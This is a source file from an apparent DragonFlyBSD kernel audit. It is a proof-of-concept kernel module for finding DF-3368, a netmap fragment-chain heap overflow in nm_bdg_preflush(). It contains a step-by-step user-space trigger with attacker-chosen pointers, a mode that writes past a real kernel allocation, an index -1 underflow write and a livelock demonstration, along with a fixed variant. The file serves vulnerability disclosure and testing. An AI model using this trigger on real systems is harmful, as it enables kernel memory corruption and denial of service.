⬢ DragonFlyBSD Kernel Audit
DF-3368 / df3368_kmod.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
/*
 * DF-3368 PoC — nm_bdg_preflush() unbounded NS_MOREFRAG fragment chain
 *               => OOB write past the nkr_ft allocation (+ ft_frags u8
 *               truncation livelock in nm_bdg_flush' pass-1 walk).
 *
 * The vulnerable function below is copied VERBATIM from
 * sys/net/netmap/netmap_vale.c:961-1019 (nm_bdg_preflush), with only:
 *   - the netmap_kern.h / netmap_vale.c machinery it uses stubbed
 *     (documented inline; none of the stubs can influence ft_i),
 *   - clearly marked INSTRUMENTATION (final ft_i snapshot, iteration
 *     counters, bail-out in the pass-1 walker replica).
 *
 * Why a standalone KLD: the netmap subsystem in this DragonFly tree does
 * not compile at all (netmap_kern.h:747 references ifnet.if_unused7 which
 * no longer exists; no sys/conf/files entry — established platform fact
 * from the netmap.c pass-2).  The vulnerable loop's control flow depends
 * only on ring->slot[].flags (user-writable shared memory), nkr_num_slots,
 * nr_hwcur and bridge_batch — none of the rotted machinery — so running it
 * in a real kernel proves kernel-context behaviour with zero logic changes.
 *
 * Real-world trigger (identical state):
 *   open /dev/netmap, NIOCREGIF "valeX:Y" with nr_tx_slots = 4096
 *   (nm_bound_var allows 1..NM_BDG_MAXSLOTS=4096, netmap_vale.c:595-600),
 *   mmap, set slot[j].flags = NS_MOREFRAG|NS_INDIRECT, slot[j].ptr=<attacker
 *   value> for all j, ring->cur = 4095, ioctl(NIOCTXSYNC)
 *   -> bdg_netmap_txsync -> netmap_vp_txsync -> nm_bdg_preflush.
 *
 * The bug: the bridge_batch flush check is only evaluated when a packet
 * COMPLETES (a slot without NS_MOREFRAG); fragments `continue` past it,
 * so ft_i grows once per slot up to the full ring size.  nkr_ft[] is
 * sized for NM_BDG_BATCH_MAX (1088) forwarding entries
 * (nm_alloc_bdgfwd, netmap_vale.c:401-403):
 *
 *   l = sizeof(nm_bdg_fwd)(16) * 1088       = 17408
 *     + sizeof(nm_bdg_q)(8)    * 4065       = 32520   (dst_ents + 1 bcast)
 *     + sizeof(uint16_t)       * 1088       =  2176   (dsts)
 *                                            -------
 *                                            = 52104 bytes
 *
 * A ring of 4096 slots writes ft[0..4094] => byte offsets up to 65520,
 * i.e. ~13.4 KB PAST the end of the 52104-byte kmalloc — every entry
 * carrying two attacker-chosen u16s (ft_len = slot->len, ft_flags =
 * slot->flags) and, with NS_INDIRECT, an arbitrary attacker-chosen 64-bit
 * pointer (ft_buf = slot->ptr).  All-MOREFRAG batches additionally make
 * the post-loop `ft[ft_i - frags].ft_frags = frags - 1;` evaluate index
 * -1 (u_int wrap) => 1-byte heap UNDERFLOW write at ft-8.
 *
 * Secondary manifestation (mode 1): a completed 256-fragment chain stores
 * frags into the uint8_t ft_frags => 256 & 0xff == 0, so nm_bdg_flush's
 * pass-1 walk `for (i = 0; i < n; i += ft[i].ft_frags)` never advances:
 * non-terminating loop in netisr context.  (Fully in-bounds: needs only
 * 257 slots.)
 *
 * Modes (sysctl debug.df3368.mode, then debug.df3368.trigger=1):
 *   0 = control    : 8 well-formed 1-frag packets; walk terminates;
 *                    canary intact (harness sanity).
 *   1 = loop256    : 255 MOREFRAG + 1 terminator = 256-frag packet;
 *                    ft[0].ft_frags == 0 -> pass-1 walker livelocks
 *                    (bail-out counter reports it).
 *   2 = oob2048    : 2047 MOREFRAG slots, ft placed at scratch+64 in a
 *                    52104+64+4096 canaried scratch buffer: writes at
 *                    ft[1088..2046] => offsets 17408..32752, past the
 *                    ft[] contract (17408) into the dst_ents/dsts area —
 *                    deterministic, guest survives.
 *   3 = oob_full   : ft = kmalloc(52104) exactly as nm_alloc_bdgfwd,
 *                    4095 MOREFRAG slots: writes past 52104 (and the
 *                    ft[-1] underflow) into live kernel heap.  Real OOB.
 *
 * Fixed variant: build with -DDD3368_FIXED — frags capped at NM_MULTISEG,
 * the documented maximum ("max size of a chain of bufs", netmap_vale.c:124)
 * that nothing in the tree enforces.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

#include <net/if.h>			/* IFNAMSIZ for netmap.h */
#include <net/netmap/netmap.h>		/* struct netmap_slot / constants */

/* ---------- verbatim constants from netmap_vale.c:119-129 ---------- */
#define NM_BDG_MAXRINGS		16	/* netmap_vale.c:119 */
#define NM_BDG_MAXSLOTS		4096	/* netmap_vale.c:120 */
#define NM_BDG_BATCH		1024	/* netmap_vale.c:123 */
#define NM_MULTISEG		64	/* netmap_vale.c:124 */
#define NM_BDG_BATCH_MAX	(NM_BDG_BATCH + NM_MULTISEG)	/* :126 */
#define NM_FT_NULL		NM_BDG_BATCH_MAX		/* :128 */
#define NM_BDG_MAXPORTS_V	254	/* netmap_kern.h:652 */

/* ---------- verbatim struct nm_bdg_fwd from netmap_vale.c:154-161 ----- */
struct nm_bdg_fwd {
	void *ft_buf;
	uint8_t ft_frags;
	uint8_t _ft_port;
	uint16_t ft_flags;
	uint16_t ft_len;
	uint16_t ft_next;
};

/* ---------- verbatim struct nm_bdg_q from netmap_vale.c:168-172 ------- */
struct nm_bdg_q {
	uint16_t bq_head;
	uint16_t bq_tail;
	uint32_t bq_len;
};

/* verbatim allocation math from nm_alloc_bdgfwd, netmap_vale.c:400-403 */
#define DF_NUM_DSTQ	(NM_BDG_MAXPORTS_V * NM_BDG_MAXRINGS + 1)	/* 4065 */
#define DF_FT_BYTES	(sizeof(struct nm_bdg_fwd) * NM_BDG_BATCH_MAX)
#define DF_ALLOC_SIZE	(DF_FT_BYTES +			\
			 sizeof(struct nm_bdg_q) * DF_NUM_DSTQ + \
			 sizeof(uint16_t) * NM_BDG_BATCH_MAX)	/* 52104 */

/* ---------- stubs (documented; none can influence ft_i) ---------- */
#define unlikely(x)		(x)
#define likely(x)		(x)
#define prefetch(x)		((void)(x))
#define ND(format, ...)		((void)0)
static int netmap_verbose;			/* netmap_kern.h */
static int bridge_batch = NM_BDG_BATCH;		/* netmap_vale.c:137 (sysctl) */
#define RD(lvl, format, ...)	((void)0)
static int df3368_flush_calls;
static u_int df3368_flush_lastn;
static int
nm_bdg_flush(struct nm_bdg_fwd *ft, u_int n, void *na, u_int ring_nr)
{
	/* stub: the real function (netmap_vale.c:1143) processes the batch
	 * and returns 0; only its invocation count matters here.  NOTE:
	 * with all-MOREFRAG batches the real pass-1 walk would livelock
	 * on ft[0].ft_frags == 0 — demonstrated separately in mode 1. */
	(void)ft; (void)na; (void)ring_nr;
	df3368_flush_calls++;
	df3368_flush_lastn = n;
	return 0;
}
static struct lock df_bdg_lock;
#define NAF_BDG_MAYSLEEP	0x1000	/* netmap_kern.h value, stub semantics */
#define BDG_RLOCK(b)		((void)(b))
#define BDG_RTRYLOCK(b)		(1)
#define BDG_RUNLOCK(b)		((void)(b))

static char df_nmbuf[2048];
#define BDG_NMB(na, slot)	(df_nmbuf)	/* buf_idx lookup, value
						 * irrelevant to ft_i */

/* verbatim from netmap_kern.h:196-201 */
static inline uint32_t
nm_next(uint32_t i, uint32_t lim)
{
	return unlikely (i == lim) ? 0 : i + 1;
}

struct nm_bridge { int dummy; };
struct netmap_vp_adapter {		/* subset used by the verbatim code */
	struct { uint32_t na_flags; } up;
	struct nm_bridge *na_bdg;
};
struct netmap_kring {			/* subset used by the verbatim code */
	struct netmap_ring *ring;
	uint32_t nr_hwcur;
	uint32_t nkr_num_slots;
	struct nm_bdg_fwd *nkr_ft;
};

/*
 * netmap_ring has const members (netmap.h:219-220); the mmap()ed ring is
 * plain shared memory to userspace, so we mirror the exact layout in a
 * writable struct and cast — identical field order/types.
 */
struct df_ring {
	ssize_t		buf_ofs;
	uint32_t	num_slots;
	uint32_t	avail;
	uint32_t	cur;
	uint32_t	reserved;
	uint16_t	nr_buf_size;
	uint16_t	flags;
	struct timeval	ts;
	struct netmap_slot slot[0];
};

/* INSTRUMENTATION */
static u_int df3368_fti;			/* final ft_i */
static u_int df3368_maxfti;			/* max ft_i written this run */
static u_int df3368_iters;			/* slot iterations */
static u_int df3368_walkers;			/* pass-1 walker iterations */
static u_int df3368_walk_stuck;		/* walker could not advance */
static u_int df3368_underflow_write;		/* ft[ft_i-frags] hit index -1 */

/*
 * ===== VERBATIM nm_bdg_preflush() from sys/net/netmap/netmap_vale.c:961-1019
 * (stubs above; INSTRUMENTATION lines are the only additions)
 */
static int
nm_bdg_preflush(struct netmap_vp_adapter *na, u_int ring_nr,
	struct netmap_kring *kring, u_int end)
{
	struct netmap_ring *ring = kring->ring;
	struct nm_bdg_fwd *ft;
	u_int j = kring->nr_hwcur, lim = kring->nkr_num_slots - 1;
	u_int ft_i = 0;	/* start from 0 */
	u_int frags = 1; /* how many frags ? */
	struct nm_bridge *b = na->na_bdg;

	/* To protect against modifications to the bridge we acquire a
	 * shared lock, waiting if we can sleep (if the source port is
	 * attached to a user process) or with a trylock otherwise (NICs).
	 */
	ND("wait rlock for %d packets", ((j > end ? lim+1 : 0) + end) - j);
	if (na->up.na_flags & NAF_BDG_MAYSLEEP)
		BDG_RLOCK(b);
	else if (!BDG_RTRYLOCK(b))
		return 0;
	ND(5, "rlock acquired for %d packets", ((j > end ? lim+1 : 0) + end) - j);
	ft = kring->nkr_ft;

	for (; likely(j != end); j = nm_next(j, lim)) {
		struct netmap_slot *slot = &ring->slot[j];
		char *buf;

		df3368_iters++;					/* INSTR */
		if (ft_i > df3368_maxfti)				/* INSTR */
			df3368_maxfti = ft_i;
		ft[ft_i].ft_len = slot->len;
		ft[ft_i].ft_flags = slot->flags;

		ND("flags is 0x%x", slot->flags);
		/* this slot goes into a list so initialize the link field */
		ft[ft_i].ft_next = NM_FT_NULL;
		buf = ft[ft_i].ft_buf = (slot->flags & NS_INDIRECT) ?
			(void *)(uintptr_t)slot->ptr : BDG_NMB(&na->up, slot);
		prefetch(buf);
		++ft_i;
#ifdef DF3368_FIXED
		/* FIX: enforce the documented NM_MULTISEG chain limit:
		 * netmap_vale.c:124 "max size of a chain of bufs". */
		if ((slot->flags & NS_MOREFRAG) && frags < NM_MULTISEG) {
			frags++;
			continue;
		}
#else
		if (slot->flags & NS_MOREFRAG) {
			frags++;
			continue;
		}
#endif
		if (unlikely(netmap_verbose && frags > 1))
			RD(5, "%d frags at %d", frags, ft_i - frags);
		ft[ft_i - frags].ft_frags = frags;
		frags = 1;
		if (unlikely((int)ft_i >= bridge_batch))
			ft_i = nm_bdg_flush(ft, ft_i, na, ring_nr);
	}
	if (frags > 1) {
		kprintf("df3368: [D] truncate incomplete fragment at %d "
		    "(%d frags)\n", ft_i, frags);		/* was D(...) */
		// ft_i > 0, ft[ft_i-1].flags has NS_MOREFRAG
		ft[ft_i - 1].ft_frags &= ~NS_MOREFRAG;
		ft[ft_i - frags].ft_frags = frags - 1;
		df3368_underflow_write =			/* INSTR */
		    (frags == ft_i + 1);			/* index -1 case */
	}
	if (ft_i)
		ft_i = nm_bdg_flush(ft, ft_i, na, ring_nr);
	BDG_RUNLOCK(b);
	df3368_fti = ft_i;					/* INSTR */
	return j;
}

/*
 * Replica of nm_bdg_flush()'s pass-1 walk head, netmap_vale.c:1161:
 *   for (i = 0; likely(i < n); i += ft[i].ft_frags) { ... }
 * (bail-out INSTRUMENTATION only)
 */
static void
df_pass1_walk(struct nm_bdg_fwd *ft, u_int n)
{
	u_int i, last_i = 0;

	df3368_walkers = 0;
	df3368_walk_stuck = 0;
	for (i = 0; likely(i < n); i += ft[i].ft_frags) {
		if (++df3368_walkers > 100000) {
			df3368_walk_stuck = 1;
			kprintf("df3368: pass-1 walk STUCK at i=%u "
			    "(ft[i].ft_frags=%u, iters>100000)\n",
			    i, ft[i].ft_frags);
			return;
		}
		last_i = i;
		(void)last_i;
	}
	kprintf("df3368: pass-1 walk terminated after %u steps\n",
	    df3368_walkers);
}

/* ---------- scenario driver ---------- */
static int df3368_mode;			/* 0 ctrl, 1 loop256, 2 oob2048, 3 full */
static void *df3368_kft_real;		/* mode 3 verbatim allocation */
static struct df_ring *df_ring;
static struct netmap_kring df_kring;
static struct netmap_vp_adapter df_vpna;
static struct nm_bridge df_bridge;

static int
df3368_run(void)
{
	u_int nslots, end, j;
	struct nm_bdg_fwd *ft;
	char *scratch = NULL;

	df3368_fti = df3368_iters = df3368_maxfti = 0;
	df3368_flush_calls = 0;
	df3368_underflow_write = 0;

	switch (df3368_mode) {
	case 0:		nslots = 16;  end = 8;   break;	/* 8 packets */
	case 1:		nslots = 257; end = 256; break;	/* 256-frag pkt */
	case 2:		nslots = 2048; end = 2047; break;	/* chain ends */
	case 3:		nslots = 3300; end = 3299; break;	/* chain ends */
	case 4:		nslots = 2048; end = 2047; break;	/* all MOREFRAG */
	default:
		kprintf("df3368: bad mode %d\n", df3368_mode);
		return EINVAL;
	}

	/* ring backing (shared-memory equivalent) */
	if (df_ring == NULL || df_ring->num_slots < nslots) {
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		df_ring = kmalloc(sizeof(*df_ring) +
		    nslots * sizeof(struct netmap_slot),
		    M_DEVBUF, M_WAITOK | M_ZERO);
	}
	*(uint32_t *)(uintptr_t)&df_ring->num_slots = nslots;
	for (j = 0; j < nslots; j++) {
		df_ring->slot[j].len = 0x1337 + j;		/* attacker */
		df_ring->slot[j].buf_idx = 5;
		df_ring->slot[j].ptr = 0x4141410000000000ULL + j;	/* attkr */
		switch (df3368_mode) {
		case 0:					/* well formed */
			df_ring->slot[j].flags = NS_INDIRECT;
			break;
		case 1:					/* 255+1 chain */
			df_ring->slot[j].flags =
			    NS_INDIRECT |
			    (j < end - 1 ? NS_MOREFRAG : 0);
			break;
		case 4:					/* all MOREFRAG: provokes
							 * the u_int-wrap
							 * wild write */
			df_ring->slot[j].flags = NS_INDIRECT | NS_MOREFRAG;
			break;
		default:				/* long chain, terminated
						 * at the last slot */
			df_ring->slot[j].flags =
			    NS_INDIRECT |
			    (j < end - 1 ? NS_MOREFRAG : 0);
			break;
		}
	}
	df_ring->cur = end;				/* user writes (<= lim) */

	/* kring + ft allocation */
	if (df3368_mode == 3) {
		/* verbatim nm_alloc_bdgfwd allocation (netmap_vale.c:412) */
		if (df3368_kft_real == NULL)
			df3368_kft_real = kmalloc(DF_ALLOC_SIZE,
			    M_DEVBUF, M_NOWAIT | M_ZERO);
		if (df3368_kft_real == NULL) {
			kprintf("df3368: kmalloc(%u) failed\n", (u_int)DF_ALLOC_SIZE);
			return ENOMEM;
		}
		ft = df3368_kft_real;
	} else {
		/* safe scratch: 64B head (catches the ft[-1] underflow) +
		 * DF_ALLOC_SIZE verbatim region + 4096B canary tail */
		scratch = kmalloc(64 + DF_ALLOC_SIZE + 4096,
		    M_DEVBUF, M_WAITOK | M_ZERO);
		ft = (struct nm_bdg_fwd *)(scratch + 64);
		/* canary the dst_ents/dsts area (offsets 17408..52104) and
		 * the guard tail: anything the preflush writes there is
		 * past the ft[] contract (NM_BDG_BATCH_MAX entries). */
		memset((char *)ft + DF_FT_BYTES, 0xCC, DF_ALLOC_SIZE - DF_FT_BYTES);
		memset(scratch + 64 + DF_ALLOC_SIZE, 0xCC, 4096);
	}

	df_kring.ring = (struct netmap_ring *)df_ring;
	df_kring.nr_hwcur = 0;				/* as after register */
	df_kring.nkr_num_slots = nslots;
	df_kring.nkr_ft = ft;
	df_vpna.up.na_flags = NAF_BDG_MAYSLEEP;
	df_vpna.na_bdg = &df_bridge;

	kprintf("df3368: mode %d: nslots=%u end=%u ft=%p "
	    "(ft[] contract=%u entries / %u bytes, alloc=%u)\n",
	    df3368_mode, nslots, end, ft, NM_BDG_BATCH_MAX,
	    (u_int)DF_FT_BYTES, (u_int)DF_ALLOC_SIZE);

	nm_bdg_preflush(&df_vpna, 0, &df_kring, end);

	kprintf("df3368: RESULT slot-iters=%u final-ft_i=%u "
	    "(max table index written: %u, %s NM_BDG_BATCH_MAX=%u; "
	    "byte offset %u %s alloc size %u)\n",
	    df3368_iters, df3368_fti,
	    df3368_maxfti,
	    df3368_maxfti < NM_BDG_BATCH_MAX ? "<=" : "OVER",
	    NM_BDG_BATCH_MAX,
	    df3368_maxfti ? (u_int)(16 * df3368_maxfti + 16) : 0,
	    (16 * (df3368_maxfti + 1)) > DF_ALLOC_SIZE ? "PAST" : "<=",
	    (u_int)DF_ALLOC_SIZE);
	kprintf("df3368: flush stub calls=%d lastn=%u "
	    "underflow(ft[-1])write=%u\n",
	    df3368_flush_calls, df3368_flush_lastn,
	    df3368_underflow_write);

	if (scratch) {
		u_int bad = 0, firstoff = 0, maxoff = 0, k;
		unsigned char *p;

		for (k = 0; k < DF_ALLOC_SIZE - DF_FT_BYTES; k++) {
			p = (unsigned char *)ft + DF_FT_BYTES + k;
			if (*p != 0xCC) {
				if (bad == 0)
					firstoff = DF_FT_BYTES + k;
				bad++;
				maxoff = DF_FT_BYTES + k;
			}
		}
		kprintf("df3368: CANARY bytes corrupted past ft[] contract: "
		    "%u, first @ft+%u (ft[%u]), last @ft+%u (ft[%u])\n",
		    bad, firstoff, firstoff / 16, maxoff, maxoff / 16);
		p = (unsigned char *)scratch + 64 + DF_ALLOC_SIZE;
		for (k = 0; k < 4096; k++)
			if (p[k] != 0xCC)
				kprintf("df3368: GUARD TAIL HIT @+%u !!\n", k);
		/* head canary: the ft[-1] underflow write */
		p = (unsigned char *)ft - 64;
		for (k = 0; k < 64; k++)
			if (p[k] != 0)
				kprintf("df3368: HEAD (ft[-1] underflow) "
				    "byte hit @ft-%d !!\n", 64 - (int)k);
	}

	/* mode 1: demonstrate the u8-truncation livelock in the flush walk */
	if (df3368_mode == 1) {
		kprintf("df3368: mode1 ft[0].ft_frags = %u "
		    "(256 truncated to uint8_t)\n", ft[0].ft_frags);
		df_pass1_walk(ft, df3368_flush_lastn);
	}
	if (df3368_mode == 0)
		df_pass1_walk(ft, df3368_flush_lastn);

	if (scratch)
		kfree(scratch, M_DEVBUF);
	return 0;
}

static int
df3368_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (df3368_run());
}

SYSCTL_NODE(_debug, OID_AUTO, df3368, CTLFLAG_RW, 0, "DF-3368 trigger");
SYSCTL_INT(_debug_df3368, OID_AUTO, mode, CTLFLAG_RW, &df3368_mode, 0,
    "0=control,1=loop256,2=oob2048(safe),3=oob_full(real kmalloc)");
SYSCTL_PROC(_debug_df3368, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df3368_sysctl, "I", "run verbatim nm_bdg_preflush scenario");

static int
df3368_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&df_bdg_lock, "df3368bdg", 0, 0);
		kprintf("df3368: loaded (netmap_vale.c nm_bdg_preflush "
		    "fragment-chain overflow test; alloc=%u)\n",
		    (u_int)DF_ALLOC_SIZE);
		return 0;
	case MOD_UNLOAD:
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		if (df3368_kft_real)
			kfree(df3368_kft_real, M_DEVBUF);
		kprintf("df3368: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df3368_mod = { "df3368", df3368_modevent, NULL };
DECLARE_MODULE(df3368, df3368_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);